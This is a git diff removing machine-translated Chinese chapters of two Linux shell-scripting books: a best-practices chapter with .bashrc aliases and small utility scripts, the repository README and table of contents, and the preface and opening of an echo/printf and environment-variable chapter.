更有效,并且有更多的特性。随着我做的编程越来越多,我发现这些编辑器都不能做我想做的所有事情,所以我用 C 编程语言编写了自己的编辑器。这是很久以前在 DOS 下的事情了,然而,我的编辑器现在已经被修改为在 Xenix、OS/2、AIX、Solaris、UNIX、FreeBSD、NetBSD,当然还有 Linux 上运行。它在 Cygwin 环境下的 Windows 上也运行良好。 - -任何文本编辑器都应该具有标准功能,如复制、粘贴、移动、插入、删除、拆分、连接、查找/替换等。这些应该易于使用,并且不需要超过两次击键。`save`命令应该只需要一次按键。 - -此外,一个好的编辑器还将具有以下一项、多项或全部内容: - -* 一次编辑多个文件的能力(文件环) -* 只需一次按键,即可切换到铃声中的下一个或上一个文件 -* 能够显示哪些文件在环中,并立即切换到任何文件 -* 能够将文件插入当前文件 -* 能够记录和回放记忆的关键序列。这有时被称为宏 -* 撤消/恢复功能 -* 自动文件保存选项 -* 锁定文件功能,防止在编辑器的另一个实例中编辑同一文件 -* 绝对没有明显的缺点或 bug。这是强制性的 -* 通过心灵感应接受输入 - -嗯,也许我还没有完全弄清楚最后一个。当然还有很多很多的特性可以列出来,但是我觉得这些是最重要的一些。 - -这是我的编辑器的截图,展示了`ring`命令的外观示例: - -![Find and use a good text editor](img/B07040_10_01.jpg) - -还可以展示更多的功能,但这应该足以说明问题。我将提到 vi 是一个优秀的编辑器,并且被成功使用,可能是大多数 UNIX/Linux 的人。然而,根据我的经验,如果正在进行大量的编程,使用具有更多功能的不同编辑器将节省您大量的时间。这也相当容易,这使得这个过程更加有趣。 - -# 环境变量和别名 - -环境变量包含在[第 2 章](02.html "Chapter 2. Working with Variables")、*使用变量*中。这是我几年前学到的一个很酷的技巧,在使用命令行时会很有帮助。大多数 Linux 系统一般在`$HOME`下有几个标准目录,如桌面、下载、音乐、图片等。我个人不喜欢一遍又一遍地输入相同的东西,所以这样做是为了帮助更有效地使用系统。以下是我添加到我的`/home/guest1/.bashrc file`中的一些行: - -```sh -export BIN=$HOME/bin -alias bin="cd $BIN" - -export DOWN=$HOME/Downloads -alias down="cd $DOWN" - -export DESK=$HOME/Desktop -alias desk="cd $DESK" - -export MUSIC=$HOME/Music -alias music="cd $MUSIC" - -export PICTURES=$HOME/Pictures -alias pictures="cd $PICTURES" - -export BOOKMARKS=$HOME/Bookmarks -alias bookmarks="cd $BOOKMARKS" - -# Packt- Linux Scripting Bootcamp -export LB=$HOME/LinuxScriptingBook -alias lb="cd $LB" - -# Source lbcur -. $LB/source.lbcur.txt -``` - -使用这种方法,您只需键入小写的别名,就可以 cd 到上述任何目录。更好的是,您还可以使用大写导出的环境变量在目录中复制或移动文件。查看以下截图: - -![Environment variables and aliases](img/B07040_10_02.jpg) - -我花了几年时间才开始做这件事,我还在为没有早点发现而自责。记住别名要小写,env var 要大写,你就可以开始了。 - -注意我在`Bookmarks`目录中运行的命令。我实际上输入了`mv $DESK/`然后点击了*标签*键。这导致该行自动完成,然后我添加了点`.`字符并按下*进入*。 - -记得在任何时候使用命令自动完成,这是一个很好的时间节省。 - -线`. $LB/source.lbcur.txt`需要说明。你可以看到我有一个`lbcur`别名,它把我放入我目前正在写这本书的目录中。因为我用我的根账户和`guest1`账户写了一本书,所以我可以只在`source.lbcur.txt`文件中更改章节号。然后我为 root 和 T5 获取`.bashrc`文件,我就完成了。否则,我将不得不在每个`.bashrc`文件中进行更改。有了就两个文件也许没那么糟,但是假设你有几个用户呢?我在我的系统中经常使用这种技术,因为我是一个非常懒惰的打字员。 - -请记住:当使用别名和环境变量时,您需要先获取用户的`.bashrc`文件,然后才能在终端中获取任何更改。 - -# ssh 提示 - -当我运行一个 Linux 系统时,我倾向于打开至少 30 个终端窗口。其中一些登录到我家的其他机器上。在撰写本文时,我已经登录了 laptop1、laptop4 和 gabi1(我女朋友运行 Fedora 20 的笔记本电脑)。不久前我发现,如果这些终端上的提示不同,我就很难混淆,在错误的计算机上输入正确的命令。不用说,这可能是一场灾难。有一段时间,我会手动更改提示,但这很快就过时了。有一天,我偶然发现了一个非常酷的解决这个问题的方法。我已经在红帽企业版 Linux、Fedora 和 CentOS 上使用了这种技术,因此它也应该可以在您的系统上工作(可能需要一点点调整)。 - -这些行在我所有系统的`$HOME/.bashrc`文件中: - -```sh -# Modified 1/17/2014 -set | grep XAUTHORITY -rc=$? -if [ $rc -eq 0 ] ; then - PS1="\h \w # " -else - PS1="\h \h \h \h \w # " -fi -``` - -所以这是使用 set 命令对字符串`XAUTHORITY`进行 grep。该字符串只存在于本地计算机的环境中。因此,当您在 big1 上本地打开终端时,它会使用正常的提示。但是,如果您`ssh`到另一个系统,字符串不在那里,因此它使用长扩展提示。 - -下面是我的系统截图,展示了它的外观: - -![ssh prompt](img/B07040_10_03.jpg) - -# 测试档案 - -这是我在几份电脑工作中遇到的事情。我的经理会让我从同事那里接管一个项目。他会把文件整理好,然后给我存档。我会将它解压缩到我的系统中,然后尝试开始工作。但总有一份文件不见了。在我最终拥有编译项目所需的所有文件之前,通常需要两次、三次或更多次的尝试。因此,这个故事的寓意是,当制作一份档案交给别人时,一定要把它复制到另一台机器上,并在那里进行测试。只有这样,你才能合理地确定你包含了所有的文件。 - -# 进度指示器 - -这里是另一个光标移动脚本,它也计算`$RANDOM` Bash 变量的高低。对每个人来说,它可能看起来并不那么酷,但它确实展示了我们在本书中介绍的更多概念。我也有点好奇那个随机数发生器的范围是多少。 - -## 第十章-剧本 1 - -```sh -#!/bin/sh -# -# 6/11/2017 -# Chapter 10 - Script 1 -# - -# Subroutines -trap catchCtrlC INT # Initialize the trap - -# Subroutines -catchCtrlC() -{ - loop=0 # end the loop -} - -cls() -{ - tput clear -} - -movestr() # move cursor to row, col, display string -{ - tput cup $1 $2 - echo -n "$3" -} - -# Code -if [ "$1" = "--help" ] ; then - echo "Usage: script1 or script1 --help " - echo " Shows the low and high count of the Bash RANDOM variable." - echo " Press Ctrl-C to end." - exit 255 -fi - -sym[0]='|' -sym[1]='/' -sym[2]='-' -sym[3]='\' - -low=99999999 -high=-1 - -cls -echo "Chapter 10 - Script 1" -echo "Calculating RANDOM low and high ..." -loop=1 -count=0 -x=0 -while [ $loop -eq 1 ] -do - r=$RANDOM - if [ $r -lt $low ] ; then - low=$r - elif [ $r -gt $high ] ; then - high=$r - fi - -# Activity indicator - movestr 2 1 "${sym[x]}" # row 2 col 1 - let x++ - if [ $x -gt 3 ] ; then - x=0 - fi - - let count++ -done - -echo " " # carriage return -echo "Number of loops: $count" -echo "low: $low high: $high" - -echo "End of script1" -exit 0 -``` - -我的系统上的输出: - -![Chapter 10 - Script 1](img/B07040_10_04.jpg) - -# 从模板创建新命令 - -既然你在读这本书,可以假设你会写很多剧本。这是我多年来学到的另一个小技巧。当我需要创建一个新的脚本时,我使用这个简单的命令,而不是从头开始: - -## 第 10 章–脚本 2 - -```sh -#!/bin/sh -# -# 1/26/2014 -# -# create a command script - -if [ $# -eq 0 ] ; then - echo "Usage: mkcmd command" - echo " Copies mkcmd.template to command and edits it with kw" - exit 255 -fi - -if [ -f $1 ] ; then - echo File already exists! - exit 2 -fi - -cp $BIN/mkcmd.template $1 -kw $1 -exit 0 - -And here is the contents of the $BIN/mkcmd.template file: -#!/bin/sh -# -# Date -# -if [ $# -eq 0 ] ; then - echo "Usage: " - echo " " - exit 255 -fi -``` - -确保在创建`mkcmd.template`文件后,在其上运行`chmod 755`。那种方式,你不必记得每次在你的新命令上做它。事实上,这是我写这个剧本的主要原因。 - -你可以随意修改,当然可以把`kw`改成 vi 或者你正在使用的任何编辑器。 - -# 提醒用户 - -很高兴当一个重要的任务完成了,你想马上知道的时候,你的电脑会发出哔哔声。以下是我用来在电脑上发出内置扬声器嘟嘟声的脚本: - -### 第 10 章–脚本 3 - -```sh -#!/bin/sh -# -# 5/3/2017 -# -# beep the PC speaker - -lsmod | grep pcspkr > /dev/null -rc=$? -if [ $rc -ne 0 ] ; then - echo "Please modprobe pcspkr and try again." - exit 255 -fi - -echo -e '\a' > /dev/console -``` - -如果电脑扬声器有,并且驱动程序已加载,该命令将发出蜂鸣声。请注意,此命令可能仅在以 root 用户身份运行时在您的系统上有效。 - -# 总结 - -在最后一章中,我展示了我学到的一些编程最佳实践。讨论了一个好的文本编辑器的特性,并且包含了一个`$RANDOM`测试脚本。我还展示了我多年来编写的一些脚本,以使我的系统更加高效和易于使用。 \ No newline at end of file diff --git a/docs/linux-shell-script-bc/README.md b/docs/linux-shell-script-bc/README.md deleted file mode 100644 index c5ef6a6d..00000000 --- a/docs/linux-shell-script-bc/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# Linux Shell 编程训练营 - -> 原文:[Linux Shell Scripting Bootcamp](https://libgen.rs/book/index.php?md5=65C572CE82539328A9B0D1458096FD51) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/linux-shell-script-bc/SUMMARY.md b/docs/linux-shell-script-bc/SUMMARY.md deleted file mode 100644 index c973f507..00000000 --- a/docs/linux-shell-script-bc/SUMMARY.md +++ /dev/null @@ -1,12 +0,0 @@ -+ [Linux Shell 编程训练营](README.md) -+ [零、前言](00.md) -+ [一、开始使用 Shell 脚本](01.md) -+ [二、使用变量](02.md) -+ [三、使用循环和睡眠命令](03.md) -+ [四、创建和调用子程序](04.md) -+ [五、创建交互式脚本](05.md) -+ [六、使用脚本自动执行任务](06.md) -+ [七、使用文件](07.md) -+ [八、使用`wget`和`curl`](08.md) -+ [九、调试脚本](09.md) -+ [十、脚本最佳实践](10.md) diff --git a/docs/linux-shell-script-cb/00.md b/docs/linux-shell-script-cb/00.md deleted file mode 100644 index 35992e61..00000000 --- a/docs/linux-shell-script-cb/00.md +++ /dev/null @@ -1,176 +0,0 @@ -# 零、前言 - -这本书将向您展示如何从您的 Linux 计算机中获得最大收益。它描述了如何执行常见任务,如查找和搜索文件,解释了复杂的系统管理活动,如监控和调整系统,并讨论了网络、安全性、分发以及如何使用云。 - -临时用户将享受重新格式化照片、从互联网下载视频和声音文件以及归档文件的方法。 - -高级用户会发现解决复杂问题(如备份、修订控制和数据包嗅探)的方法和解释非常有用。 - -系统管理员和集群管理员将找到使用容器、虚拟机和云的方法,以使他们的工作更容易。 - -# 这本书涵盖了什么 - -[第 1 章](01.html)、 *Shell Something Out* ,解释了如何使用命令行,编写和调试 bash 脚本,以及使用管道和 Shell 配置。 - -[第二章](02.html)、*有一个好命令*,介绍了常见的 Linux 命令,可以从命令行使用,也可以在 bash 脚本中使用。它还解释了如何从文件中读取数据;按名称、类型或日期查找文件;和比较文件。 - -[第 3 章](03.html)、*文件输入、文件输出*介绍了如何处理文件,包括查找和比较文件、搜索文本、导航目录层次结构以及操作图像和视频文件。 - -[第四章](04.html)、*发短信和开车*,讲解如何用`awk`、`sed`和`grep`使用正则表达式。 - -[第五章](05.html)*纠结网?一点也不!*,解释没有浏览器的网页互动!它还解释了如何编写脚本来检查您的网站是否有断开的链接,以及如何下载和解析 HTML 数据。 - -[第 6 章](06.html)、*仓库管理*,介绍了 Git 或 Fossil 的版本控制。跟踪变化,维护历史。 - -[第 7 章](07.html)、*备份计划、*讨论传统和现代的 Linux 备份工具。磁盘越大,就越需要备份。 - -[第八章](08.html)*老男孩网络*,说明如何配置和调试网络问题,共享网络,创建 VPN。 - -[第九章](09.html)*戴上显示器的盖子*,帮助我们知道你的系统在做什么。它还解释了如何跟踪磁盘和内存使用情况、跟踪登录和检查日志文件。 - -[第 10 章](00.html)、*行政调用*,讲解如何管理任务、向用户发送消息、安排自动化任务、记录工作以及有效使用终端。 - -[第 11 章](11.html)、*追踪线索*,解释了如何窥探你的网络以发现网络问题,并在库和系统调用中追踪问题。 - -[第 12 章](12.html)、*调优一个 Linux 系统*,帮助我们了解如何让你的系统表现更好,高效地使用内存、磁盘、I/O 和 CPU。 - -[第 13 章](13.html)、*容器、虚拟机和云*解释了何时以及如何使用容器、虚拟机和云来分发应用和共享数据。 - -# 这本书你需要什么 - -本书中的食谱可以在任何基于 Linux 的计算机上运行——从树莓皮到 IBM 大铁。 - -# 这本书是给谁的 - -从新手到有经验的管理员,每个人都会在这本书里找到有用的信息。它介绍和解释了基本的工具和先进的概念,以及交易的技巧。 - -# 部分 - -在这本书里,你会发现几个经常出现的标题(*准备*,*怎么做...*、*它是如何工作的...*,T *这里还有更多...*和*参见*。 - -为了给出如何完成配方的明确说明,我们使用以下部分: - -# 准备好 - -这一部分告诉你在配方中期望什么,它描述了如何设置配方所需的任何软件或任何初步设置。 - -# 怎么做… - -本节包含遵循配方所需的步骤。 - -# 它是如何工作的… - -这一部分通常包括对前一部分发生的事情的详细解释。 - -# 还有更多… - -本节包含关于配方的附加信息,以便读者更好地了解配方。 - -# 请参见 - -本节提供了该配方的其他有用信息的有用链接。 - -# 约定 - -在这本书里,你会发现许多区分不同种类信息的文本风格。以下是这些风格的一些例子,以及对它们的含义的解释。 - -文本中的码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、伪 URL、用户输入和 Twitter 句柄如下所示:“Shebang 是解释器路径前缀为`#!`的一行。” - -代码块设置如下: - -```sh -$> env -PWD=/home/clif/ShellCookBook -HOME=/home/clif -SHELL=/bin/bash -# ... And many more lines - -``` - -当我们希望将您的注意力吸引到代码块的特定部分时,相关的行或项目以粗体显示: - -```sh -$> env -PWD=/home/clif/ShellCookBook -HOME=/home/clif -SHELL=/bin/bash -# ... And many more lines - -``` - -任何命令行输入或输出都编写如下: - -```sh -$ chmod a+x sample.sh - -``` - -**新名词**和**重要词语**以粗体显示。您在屏幕上看到的单词(例如,在菜单或对话框中)会出现在文本中,如下所示:“从管理面板中选择系统信息。” - -Warnings or important notes appear in a box like this. Tips and tricks appear like this. - -# 读者反馈 - -我们随时欢迎读者的反馈。让我们知道你对这本书的看法——你喜欢或不喜欢什么。读者反馈对我们来说很重要,因为它有助于我们开发出你真正能从中获益的标题。 - -要给我们发送一般反馈,只需发送电子邮件`feedback@packtpub.com`,并在您的邮件主题中提及书名。 - -如果你对某个主题有专业知识,并且对写作或投稿感兴趣,请参见我们位于[www.packtpub.com/authors](http://www.packtpub.com/authors)的作者指南。 - -# 客户支持 - -现在,您已经自豪地拥有了一本书,我们有许多东西可以帮助您从购买中获得最大收益。 - -# 下载示例代码 - -你可以从你的账户[下载这本书的示例代码文件。如果您在其他地方购买了这本书,您可以访问](http://www.packtpub.com)[h . t . t . p://w . w . p . a . c . t . p . b . c . o . m/s . p . o . r . t](http://www.packtpub.com/support)并注册将文件直接通过电子邮件发送给您。 - -您可以按照以下步骤下载代码文件: - -1. 使用您的电子邮件地址和密码登录或注册我们的网站。 -2. 将鼠标指针悬停在顶部的“支持”选项卡上。 -3. 点击代码下载和勘误表。 -4. 在搜索框中输入图书的名称。 -5. 选择要下载代码文件的书籍。 -6. 从您购买这本书的下拉菜单中选择。 -7. 点击代码下载。 - -您也可以通过点击图书网页上的“代码文件”按钮来下载代码文件。可以通过在搜索框中输入图书名称来访问此页面。请注意,您需要登录您的 Packt 帐户。 - -下载文件后,请确保使用最新版本的解压缩文件夹: - -* 视窗系统的 WinRAR / 7-Zip -* zipeg/izp/un ARX for MAC -* 适用于 Linux 的 7-Zip / PeaZip - -这本书的代码包也托管在 GitHub 上 - -[https://github . com/PacktPublishing/Linux-Shell-Scripting-Cookbook-第三版](https://github.com/PacktPublishing/Linux-Shell-Scripting-Cookbook-Third-Edition)。 - -我们还从丰富的书籍和视频目录中获得了其他代码包,这些代码包可以在 - -**[h t t P s://g I t h u b . c o m/P a c k t P u b l I h I n g/](https://github.com/PacktPublishing/)**。看看他们! - -# 下载这本书的彩色图片 - -我们还为您提供了一个 PDF 文件,其中包含本书中使用的截图/图表的彩色图像。彩色图像将帮助您更好地理解输出中的变化。您可以从以下链接下载该文件: - -[https://www . packtpub . com/sites/default/files/downloads/linuxshellscriptingbookthirditing _ color images . pdf](https://www.packtpub.com/sites/default/files/downloads/LinuxShellScriptingCookbookThirdEdition_ColorImages.pdf) - -# 正误表 - -尽管我们尽了最大努力来确保我们内容的准确性,但错误还是会发生。如果你在我们的某本书里发现了错误——可能是文本或代码中的错误——如果你能向我们报告,我们将不胜感激。通过这样做,你可以让其他读者免受挫折,并帮助我们改进这本书的后续版本。如果您发现任何勘误表,请访问[http://www.packtpub.com/submit-errata](http://www.packtpub.com/submit-errata),选择您的书籍,点击勘误表提交表格链接,并输入您的勘误表的详细信息。一旦您的勘误表得到验证,您的提交将被接受,勘误表将上传到我们的网站或添加到该标题勘误表部分下的任何现有勘误表列表中。 - -要查看之前提交的勘误表,请转到[h t t p s://w w p a c k t p u b . c o m/b o o k s/c o n t e n t/s u p p o r t](https://www.packtpub.com/books/content/support)并在搜索栏中输入图书名称。所需信息将出现在勘误表部分。 - -# 海盗行为 - -互联网上版权材料的盗版是所有媒体的一个持续问题。在 Packt,我们非常重视版权和许可证的保护。如果您在互联网上遇到任何形式的我们作品的非法拷贝,请立即向我们提供位置地址或网站名称,以便我们寻求补救。 - -请通过`copyright@packtpub.com`联系我们,获取疑似盗版资料的链接。 - -我们感谢您在保护我们的作者方面的帮助,以及我们为您带来有价值内容的能力。 - -# 问题 - -如果您对本书的任何方面有问题,可以在`questions@packtpub.com`联系我们,我们将尽最大努力解决问题。 \ No newline at end of file diff --git a/docs/linux-shell-script-cb/01.md b/docs/linux-shell-script-cb/01.md deleted file mode 100644 index 38dcc40e..00000000 --- a/docs/linux-shell-script-cb/01.md +++ /dev/null @@ -1,2315 +0,0 @@ -# 一、使用 Shell 输出一些东西 - -在本章中,我们将介绍以下食谱: - -* 在终端中显示输出 -* 使用变量和环境变量 -* 附加到环境变量的函数 -* 带壳的数学 -* 玩文件描述符和重定向 -* 数组和关联数组 -* 访问别名 -* 获取关于终端的信息 -* 获取和设置日期和延迟 -* 调试脚本 -* 函数和参数 -* 从一个命令向另一个命令发送输出 -* 不按回车键读取`n`字符 -* 运行命令直到成功 -* 字段分隔符和迭代器 -* 比较和测试 -* 使用配置文件定制 bash - -# 介绍 - -最初,计算机从卡片或磁带上读取程序,并生成一份报告。没有操作系统,没有图形显示器,甚至没有交互式提示。 - -到了 20 世纪 60 年代,计算机支持交互式终端(通常是电传打字机或美化的打字机)来调用命令。 - -当贝尔实验室为全新的 Unix 操作系统创建交互式用户界面时,它有一个独特的功能。它可以从文本文件(称为 Shell 脚本)中读取和评估相同的命令,就像它接受在终端上键入一样。 - -这个设施是生产力的巨大飞跃。程序员不用键入几个命令来执行一组操作,而是可以将命令保存在一个文件中,稍后只需击几下键就可以运行它们。shell 脚本不仅可以节省时间,还可以记录您所做的事情。 - -最初,Unix 支持一个由斯蒂芬·伯恩编写的交互式 Shell,并将其命名为**伯恩 Shell** ( **sh** )。 - -1989 年,GNU 项目的布莱恩·福克斯从许多用户界面中提取功能,并创建了一个新的 Shell——伯恩再一次 Shell(T1)(**bash**)。bash shell 理解伯恩 shell 的所有构造,并添加了 csh、ksh 和其他的特性。 - -随着 Linux 成为像操作系统一样的 Unix 最流行的实现,bash shell 已经成为 Unix 和 Linux 上事实上的标准 shell。 - -这本书的重点是 Linux 和 bash。即便如此,这些脚本中的大多数都将在 Linux 和 Unix 上运行,使用 bash、sh、ash、dash、ksh 或其他 sh 风格的 Shell。 - -本章将让读者深入了解 shell 环境,并演示一些基本的 shell 特性。 - -# 在终端中显示输出 - -用户通过终端会话与 Shell 环境交互。如果您运行的是基于图形用户界面的系统,这将是一个终端窗口。如果您在没有 GUI(生产服务器或 ssh 会话)的情况下运行,您一登录就会看到 shell 提示。 - -在终端中显示文本是大多数脚本和实用程序需要定期执行的任务。Shell 支持几种显示文本的方法和不同格式。 - -# 准备好 - -命令在终端会话中键入和执行。打开终端时,会显示提示。提示可以通过多种方式进行配置,但通常类似于以下内容: - -```sh -username@hostname$ - -``` - -或者,也可以将其配置为`root@hostname #`或简单地配置为`$`或`#`。 - -`$`字符代表普通用户,`#`代表管理用户根。Root 是 Linux 系统中最有特权的用户。 - -It is a bad idea to directly use the shell as the root user (administrator) to perform tasks. Typing errors have the potential to do more damage when your shell has more privileges. It is recommended that you log in as a regular user (your shell may denote this as `$` in the prompt), and use tools such as `sudo` to run privileged commands. Running a command as `sudo ` will run it as root. - -shell 脚本通常以一个 shebang 开头: - -```sh -#!/bin/bash - -``` - -Shebang 是一行,在该行上`#!`是解释器路径的前缀。`/bin/bash`是 Bash 的解释器命令路径。以`#`符号开头的一行被 bash 解释器视为注释。只有脚本的第一行可以有一个 shebang 来定义用于评估脚本的解释器。 - -脚本可以通过两种方式执行: - -1. 将脚本的名称作为命令行参数传递: - -```sh - bash myScript.sh - -``` - -2. 设置脚本文件的执行权限,使其可执行: - -```sh - chmod 755 myScript.sh ./myScript.sh. - -``` - -如果脚本作为`bash`的命令行参数运行,则不需要 shebang。shebang 有助于独立运行脚本。可执行脚本使用 shebang 后面的解释器路径来解释脚本。 - -使用`chmod`命令可执行脚本: - -```sh -$ chmod a+x sample.sh - -``` - -此命令使脚本可由所有用户执行。该脚本可以按如下方式执行: - -```sh -$ ./sample.sh #./ represents the current directory - -``` - -或者,脚本可以这样执行: - -```sh -$ /home/path/sample.sh # Full path of the script is used - -``` - -内核会读取第一行,看到 shebang 是`#!/bin/bash`。它将识别`/bin/bash`并执行如下脚本: - -```sh -$ /bin/bash sample.sh - -``` - -当交互式 Shell 启动时,它会执行一组命令来初始化设置,如提示文本、颜色等。这些命令是从位于用户主目录的`~/.bashrc`(或登录 Shell 的`~/.bash_profile`)Shell 脚本中读取的。Bash shell 在`~/.bash_history`文件中维护用户运行命令的历史记录。 - -The `~` symbol denotes your home directory, which is usually `/home/user`, where user is your username or `/root` for the root user. A login shell is created when you log in to a machine. However, terminal sessions you create while logged in to a graphical environment (such as GNOME, KDE, and so on), are not login shells. Logging in with a display manager such as GDM or KDM may not read a `.profile` or `.bash_profile` (most don't), but logging in to a remote system with ssh will read the `.profile`. The shell delimits each command or command sequence with a semicolon or a new line. Consider this example: `$ cmd1 ; cmd2` -This is equivalent to these:  -`$ cmd1` -`$ cmd2` - -注释从`#`开始,一直到行尾。注释行最常用于描述代码,或者在调试期间禁用一行代码的执行: - -```sh -# sample.sh - echoes "hello world" echo "hello world" - -``` - -现在让我们进入本章的基本食谱。 - -# 怎么做... - -`echo`命令是终端打印最简单的命令。 - -默认情况下,`echo`在每次回显调用结束时添加一个换行符: - -```sh -$ echo "Welcome to Bash" Welcome to Bash - -``` - -简单来说,在`echo`命令中使用双引号文本会在终端中打印文本。同样,没有双引号的文本也会给出相同的输出: - -```sh -$ echo Welcome to Bash Welcome to Bash - -``` - -完成相同任务的另一种方法是使用单引号: - -```sh -$ echo 'text in quotes' - -``` - -这些方法看似相似,但都有特定的目的和副作用。双引号允许 shell 解释字符串中的特殊字符。单引号禁止这种解释。 - -考虑以下命令: - -```sh -$ echo "cannot include exclamation - ! within double quotes" - -``` - -这将返回以下输出: - -```sh -bash: !: event not found error - -``` - -如果需要打印特殊字符,如`!`,必须不使用任何引号,使用单引号,或者用反斜杠(`\`)转义特殊字符: - -```sh -$ echo Hello world ! - -``` - -或者,使用以下方法: - -```sh -$ echo 'Hello world !' - -``` - -或者,它可以这样使用: - -```sh -$ echo "Hello World\!" #Escape character \ prefixed. - -``` - -使用不带引号的`echo`时,我们不能使用分号,因为分号是 Bash shell 中命令之间的分隔符: - -```sh -echo hello; hello - -``` - -从上一行来看,Bash 将`echo hello`作为一个命令,将第二个`hello`作为第二个命令。 - -变量替换,将在下一个配方中讨论,不会在单引号中起作用。 - -终端打印的另一个命令是`printf`。它使用与 C 库`printf`函数相同的参数。考虑这个例子: - -```sh -$ printf "Hello world" - -``` - -`printf`命令接受由空格分隔的引用文本或参数。它支持格式化字符串。格式字符串指定字符串宽度、左对齐或右对齐等。默认情况下,`printf`不追加换行符。我们必须在需要时指定一个换行符,如以下脚本所示: - -```sh -#!/bin/bash #Filename: printf.sh printf "%-5s %-10s %-4s\n" No Name Mark printf "%-5s %-10s %-4.2f\n" 1 Sarath 80.3456 printf "%-5s %-10s %-4.2f\n" 2 James 90.9989 printf "%-5s %-10s %-4.2f\n" 3 Jeff 77.564 - -``` - -我们将收到以下格式化输出: - -```sh -No Name Mark 1 Sarath 80.35 2 James 91.00 3 Jeff 77.56 - -``` - -# 它是如何工作的... - -`%s`、`%c`、`%d`和`%f`字符是格式替换字符,它们定义了以下参数的打印方式。`%-5s`字符串定义了左对齐(`-`代表左对齐)和`5`字符宽度的字符串替换。如果没有指定`-`,字符串将会向右对齐。宽度指定为字符串保留的字符数。对于`Name`,预留宽度为`10`。因此,任何名称都将位于为其保留的 10 个字符的宽度内,该行的其余部分将由空格填充,总共最多 10 个字符。 - -对于浮点数,我们可以传递额外的参数来舍入小数位数。 - -对于标记部分,我们将字符串格式化为`%-4.2f`,其中`.2`指定舍入到两位小数。请注意,对于格式字符串的每一行,都会发出一个换行符(`\n`)。 - -# 还有更多... - -在使用`echo`和`printf`的标志时,将标志放在命令中的任何字符串之前,否则 Bash 会将标志视为另一个字符串。 - -# 在回声中转义换行符 - -默认情况下,`echo`在其输出文本的末尾追加一个换行符。用`-n`标志禁用换行符。`echo`命令接受双引号字符串中的转义序列作为参数。使用转义序列时,使用`echo`作为`echo -e "string containing escape sequences"`。考虑以下示例: - -```sh -echo -e "1\t2\t3" 1 2 3 - -``` - -# 打印彩色输出 - -脚本可以使用转义序列在终端上生成彩色文本。 - -文本的颜色由颜色代码表示,包括重置= 0、黑色= 30、红色= 31、绿色= 32、黄色= 33、蓝色= 34、洋红色= 35、青色= 36 和白色= 37。 - -要打印彩色文本,请输入以下命令: - -```sh -echo -e "\e[1;31m This is red text \e[0m" - -``` - -这里,`\e[1;31m`是将颜色设置为红色的转义字符串,`\e[0m`将颜色重置回来。将`31`替换为所需的颜色代码。 - -对于彩色背景,重置= 0、黑色= 40、红色= 41、绿色= 42、黄色= 43、蓝色= 44、洋红色= 45、青色= 46 和白色=47 是常用的颜色代码。 - -要打印彩色背景,请输入以下命令: - -```sh -echo -e "\e[1;42m Green Background \e[0m" - -``` - -这些例子涵盖了转义序列的一个子集。可以通过`man console_codes`查看文档。 - -# 使用变量和环境变量 - -所有编程语言都使用变量来保存数据,以备以后使用或修改。与编译语言不同,大多数脚本语言在创建变量之前不需要类型声明。类型由用法决定。变量值通过在变量名前面加一个美元符号来访问。Shell 定义了几个变量,用于配置和可用打印机、搜索路径等信息。这些被称为**环境变量**。 - -# 准备好了 - -变量被命名为字母、数字和下划线的序列,没有空格。常见的约定是环境变量使用大写,脚本中使用的变量使用小写。 - -所有应用和脚本都可以访问环境变量。要查看当前 shell 中定义的所有环境变量,请发出`env`或`printenv`命令: - -```sh -$> env -PWD=/home/clif/ShellCookBook -HOME=/home/clif -SHELL=/bin/bash -# ... And many more lines - -``` - -要查看其他进程的环境,请使用以下命令: - -```sh -cat /proc/$PID/environ - -``` - -用进程的进程标识设置`PID`(`PID`为整数值)。 - -假设一个名为`gedit`的应用正在运行。我们通过`pgrep`命令获取`gedit`的进程标识: - -```sh -$ pgrep gedit 12501 - -``` - -我们通过执行以下命令来查看与流程相关的环境变量: - -```sh -$ cat /proc/12501/environ GDM_KEYBOARD_LAYOUT=usGNOME_KEYRING_PID=1560USER=slynuxHOME=/home/slynux - -``` - -Note that the previous output has many lines stripped for convenience. The actual output contains more variables. -The `/proc/PID/environ` special file contains a list of environment variables and their values. Each variable is represented as a name=value pair, separated by a null character (`\0`). This is not easily human readable. - -要制作人性化的报告,将`cat`命令的输出输送到`tr`,用`\n`代替`\0`字符: - -```sh -$ cat /proc/12501/environ | tr '\0' '\n' - -``` - -# 怎么做... - -使用等号运算符为变量赋值: - -```sh -varName=value - -``` - -变量的名称是`varName`,`value`是要分配给它的值。如果`value`不包含任何空格字符(如空格),则不需要用引号括起来,否则必须用单引号或双引号括起来。 - -Note that `var = value` and `var=value` are different. It is a usual mistake to write `var = value` instead of `var=value`. An equal sign without spaces is an assignment operation, whereas using spaces creates an equality test. - -通过在变量名前加一个美元符号(`$`)来访问变量的内容。 - 